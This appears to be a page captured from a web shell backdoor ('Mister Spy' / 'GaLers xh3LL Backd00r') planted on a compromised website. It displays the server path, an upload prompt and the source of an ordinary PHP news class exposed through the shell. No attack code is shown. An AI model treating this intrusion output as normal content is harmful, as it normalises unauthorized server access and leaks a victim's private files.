Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.noticia.php

<?php
require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.page.php');
require_once('class.noticiaimagenes.php');
require_once('class.noticiaarchivos.php');
require_once('class.keywords.php');

class Noticia
{
	const PathImageBig		= '../_recursos/noticias/imagenes/big/';
	const PathImageThumb	= '../_recursos/noticias/imagenes/thumb/';
	const PathFile			= '../_recursos/noticias/archivos/';
	const PathListen		= '../_recursos/noticias/audio/';

	public $IdNoticia;
	public $IdCategoria;
	public $IdColumnista;
	public $Fecha;
	public $Titulo;
	public $Copete;
	public $Cuerpo;
	public $Fuente;
	public $Destacado;
	public $Imagen;
	public $Imagenes;
	public $IdEstado;
	public $Video;
	public $Prioridad;
	public $FechaDesde;
	public $FechaHasta;
	public $Archivos;
	public $Keywords;
	public $Fijo;

	public function __construct() {
		$this->Keywords 	= array();
	}

	public function ParseFromArray(array $arr)
	{
		$this->IdNoticia 	= $arr['IdNoticia'];
		$this->IdCategoria 	= $arr['IdCategoria'];
		$this->IdColumnista	= $arr['IdColumnista'];
		$this->Fecha 		= stripslashes($arr['Fecha']);
		$this->Titulo 		= stripslashes($arr['Titulo']);
		$this->Copete 		= stripslashes($arr['Copete']);
		$this->Cuerpo 		= stripslashes($arr['Cuerpo']);
		$this->Fuente		= stripslashes($arr['Fuente']);
		$this->Destacado	= $arr['Destacado'];
		$this->Imagen		= stripslashes($arr['Imagen']);
		$this->Imagenes		= $this->GetAllImagenes();
		$this->IdEstado		= $arr['IdEstado'];
		$this->Video		= $arr['Video'];
		$this->Prioridad	= $arr['Prioridad'];
		$this->FechaDesde	= $arr['FechaDesde'];
		$this->FechaHasta	= $arr['FechaHasta'];
		$this->Fijo			= $arr['Fijo'];
		$this->Archivos		= $this->GetAllArchivos();

		$this->Keywords 	= $this->GetKeywords();
	}

	public function GetKeywords() {
		$oKeywords = new Keywords();

		return $oKeywords->GetAll(array('IdNoticia' => $this->IdNoticia));
	}
	
	
	public function GetAllImagenes(Page $oPage = NULL)
	{
		$NoticiaImagenes = new NoticiaImagenes();
		
		return $NoticiaImagenes->GetAllByNoticia($this, $oPage);
	}
	
	
	public function GetAllArchivos(Page $oPage = NULL)
	{
		$NoticiaArchivos = new NoticiaArchivos();
		
		return $NoticiaArchivos->GetAllByNoticia($this, $oPage);
	}
	
	
	public function GetAllAudios(Page $oPage = NULL)
	{
		$NoticiaAudios = new NoticiaAudios();
		
		return $NoticiaAudios->GetAllByNoticia($this, $oPage);
	}
	
	
	public function GetAllVideos(Page $oPage = NULL)
	{
		$NoticiaVideos = new NoticiaVideos();
		
		return $NoticiaVideos->GetAllByNoticia($this, $oPage);
	}	
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat